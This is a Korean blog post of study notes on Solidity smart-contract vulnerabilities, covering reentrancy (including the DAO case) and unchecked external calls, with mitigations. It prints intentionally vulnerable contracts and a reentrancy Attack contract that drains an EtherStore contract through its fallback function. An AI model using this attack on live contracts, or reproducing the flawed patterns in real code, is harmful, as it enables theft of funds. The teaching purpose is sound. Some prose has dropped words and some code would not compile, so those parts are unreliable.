BlockChain

Solidity 취약점 #1

부산대보금자리 2022. 1. 11. 18:10

 

  • Re-enterency

 

(= in mastering Ethereum)

✔️ 이더리움 스마트 컨트랙트의 특징 중 하나는 다른 외부 컨트랙트의 코드를 호출하고 활용할 수 있다는 점이다.

✔️ 컨트랙트는 일반적으로 이더를 처리하기 때문에 종종 다양한 외부 사용자 주소로 이더를 전송하는데, 이 경우 컨트랙트는 외부 호출을 요청해야 함

✔️ 이 경우, 공격자가 컨트랙트에 콜백을 포함하여 대체 코드를 실행하도록 강제할 수 있다.

 

간단하게는 개발자가 가지 사실을 놓쳤을 발생할 있다.

 

1. 이더를 보내는 것은 수신자의 Fallback Function 호출하는 것과 동일하다.

또한, 이러한 코드 실행은 동기적으로 진행되므로 재진입이 발생할 있다.

2. 주소로 돈을 보내는 것은 주소의 코드에 제어를 이전할 있다.

 

같은 재전송 공격이라도 여러 종류로 나눠볼 있다.

 

  1. Single function reentrancy attack

Attacker가 호출하는 vulnerable function이 하나인 경우이다.

2. Cross-function reentrancy attack

Vulnerable한 Function이 같은 state 공유하고 attack fallback 함수로의 진입이 기존과 다른 함수로 진입한다는 점이 다르다. 이러한 경우에는 더욱 Detect하 어렵다.

Ex>

 

function transfer(address to, uint amount) external {

    if (balances[msg.sender] >= amount) {

        balances[to] += amount;

        balances[msg.sender] -= amount;

    }

}

function withdraw() external {

    uint256 amount = balances[msg.sender];

    require(msg.sender.call.value(amount)());

    balances[msg.sender] = 0;

}

Withdraw 함수에서 attacker fallback function을 호출하게 되고 이는 withdraw함수가 아닌 transfer함수를 호출하게 된다.

경우 withdraw에서 msg.sender balance 0으로 setting하 전에 transfer 들어가므로 amount 없음에도 늘어나게 된다.

조금 구체적으로 이러한 재전송 공격에 취약할 있는 조건에 대해 적어보자면

  1. 다른 컨트랙트와의 interaction 통해 얻은 parameter로 transfer/send 통해 이더를 전송하는 함수가 존재한다.
  2. Attacker side에서 접근할 있는 함수가 존재하며 해당 함수는 컨트랙트 내의 다른 함수와의 State 공유하는데 이것이 Conflict 일어날 가능성이 있다.

 

 

Ex> The Dao attack

 

// SPDX-License-Identifier:GPL-30

pragma solidity >=0.5.0 <0.9.0;

contract DAO{

   

    mapping(address => uint256) public deposit;

    function credit(address to) payable{

        deposit[msg.sender] += msg.value;

    }

    function getCreditedAmount(address) returns(uint){

        return deposit[msg.sender];

    }

    function withdraw(uint amount){

        if(deposit[msg.sender] >= amount){

            msg.sender.call.value(amount)();

            deposit[msg.sender] -= amount;

        }

    }

}

 

Ex2>

// SPDX-License-Identifier:GPL-30

pragma solidity >=0.5.0 <0.9.0;

contract EtherStore{
    uint256 public withdrawlimit = 1 ether;
    mapping(address => uint256) public lastwithdrawTime;
    mapping(address => uint256) public balances;

function depositFunds() public payable {
        balances[msg.sender] += msg.value;
    }

function withdrawFunds(uint256 _weiTowithdraw) public{
        require(balances[msg.sender] >= _weiTowithdraw);  //출금 금액 제한
        require(_weiTowithdraw <= withdrawlimit);         // 출금 금액 제한
        require(now >= lastwithdrawTime[msg.sender] + 1 weeks); // 출금 시간 제한
        require(msg.sender.call.value(_weiTowithdraw)());       // sender 주소로 이더 전송
        balances[msg.sender] -= _weiTowithdraw;                 // 출금한 후 잔액 재설정
        lastwithdrawTime[msg.sender] = now;                     //출금한 후 시간 재설정
    }

}

 

// SPDX-License-Identifier:GPL-30

pragma solidity >=0.5.0 <0.9.0;

import "./etherstore.sol";

contract Attack{
    EtherStore public etherStore;

constructor(address _etherStoreAddress){
        etherStore = EtherStore(_etherStoreAddress);
    }

function attackEtherStore() public payable{
        // 이더 근삿값 공격
        require(msg.value >= 1 ether);
        // 이더를 depositFunds 함수로 전달
        etherStore.depositFunds.value(1 ether)();
        etherStore.withdrawFunds(1 ether);

}
    function collectEther() public {
        msg.sender.transfer(this.balance);
    }

fallback() payable{
        if(etherStore.balances > 1 ether){
            etherStore.withdrawFunds(1 ether);
        }
    }
}

 

(Code 추가 예정)

 

- 공격 방지

 

  1. Send, Transfer, call

대부분의 재진입 공격은 send, transfer, call기능을 포함한다.

Call 함수의 경우 가스가 고정적이지 않으며 열려있기 때문에 재진입 공격에 활용되기 쉽다.

Send, transfer 2,300 가스로 제한되기 때문에 안전한 것으로 간주된다.

하지만 Send 경우 True, False 리턴하지만 에러를 받아보지 못한다. 따라서 에러를 발생 Transfer 사용이 권장된다.

 

2. 이더가 전송되기 전에 상태 변수를 변경하는 모든 로직이 발생하도록 한다.

위의 EtherStore 컨트랙트에서는

        require(msg.sender.call.value(_weiTowithdraw)());       // sender 주소로 이더 전송
        balances[msg.sender] -= _weiTowithdraw;                 // 출금한 후 잔액 재설정
        lastwithdrawTime[msg.sender] = now;  

 

위의 순서가 아니라 call전에 로직을 발생시켜서 재진입이 되더라도 반영된 로직을 토대로 코드 진행이 되도록 만든다.

 

   balances[msg.sender] -= _weiTowithdraw;                 // 출금한 후 잔액 재설정

   lastwithdrawTime[msg.sender] = now;    

   require(msg.sender.call.value(_weiTowithdraw)());       // sender 주소로 이더 전송

 

3. Mutex도입

코드 실행 중에 컨트랙트를 잠그는 상태 변수를 추가하여 재진입 호출을 방지한다.

 

contract EtherStore{

    bool reEntrancyMutex = false;

    uint256 public withdrawlimit = 1 ether;

    mapping(address => uint256) public lastwithdrawTime;

    mapping(address => uint256) public balances;

    function depositFunds() public payable {

        balances[msg.sender] += msg.value;

    }

    function withdrawFunds(uint256 _weiTowithdraw) public{

        require(!reEntrancyMutex);

        require(balances[msg.sender] >= _weiTowithdraw);  //출금 금액 제한

        require(_weiTowithdraw <= withdrawlimit);         // 출금 금액 제한

        require(now >= lastwithdrawTime[msg.sender] + 1 weeks); // 출금 시간 제한

        balances[msg.sender] -= _weiTowithdraw;                 // 출금한 후 잔액 재설정

        lastwithdrawTime[msg.sender] = now;                     //출금한 후 시간 재설정

        reEntrancyMutex = true;       

       

        msg.sender.transfer(_weiTowithdraw);

        reEntrancyMutex = false;

       

       

    }

}

 

  • Unchecked external Call

 

솔리디티에서 외부 호출을 수행하는 함수 , Call send 함수는 호출 성공 또는 실패 여부에 따라 true, false 반환한다.

 

여기서 주의할 점은 함수 호출에 실패하는 경우, 단순히 false 반환하기만 함수를 실행한 트랜잭션으로 돌아가는 것이 아니다.

 

개발자는 외부 호출을 실패하였을 원래의 상태로 돌아간다고 생각할 위의 취약점이 발생할 있다.

 

따라서 취약할 있는 조건은 아래와 같다.

 

1. Send함수를 사용하며 이에 대한 리턴 값에 대한 검증이 이루어지지 않는다.

 

2. Send함 후에 State 바꾸는 로직이 진행되어 계약 상태가 바뀐다.

 

 

Ex>

 

contract Lotto{

    bool public payedOut = false;

    address public winner;

    uint public winAmount;

 

    function sendToWinner() public{

        require(!payedOut);

        winner.send(winAmount);

        payedOut = true;

    }

    function withdrawLeftOver() public{

        require(payedOut);

        msg.sender.send(address(this).balance);

    }

}

 

 

  •  

 

 

 

'BlockChain' 카테고리의 다른 글

Solidity 취약점 #3  (0) 2022.01.13
Solidity 취약점 #2  (0) 2022.01.12
Solidity 취약점 카테고리화  (0) 2022.01.11
Solidity #5  (0) 2022.01.10
Solidity #4  (0) 2022.01.07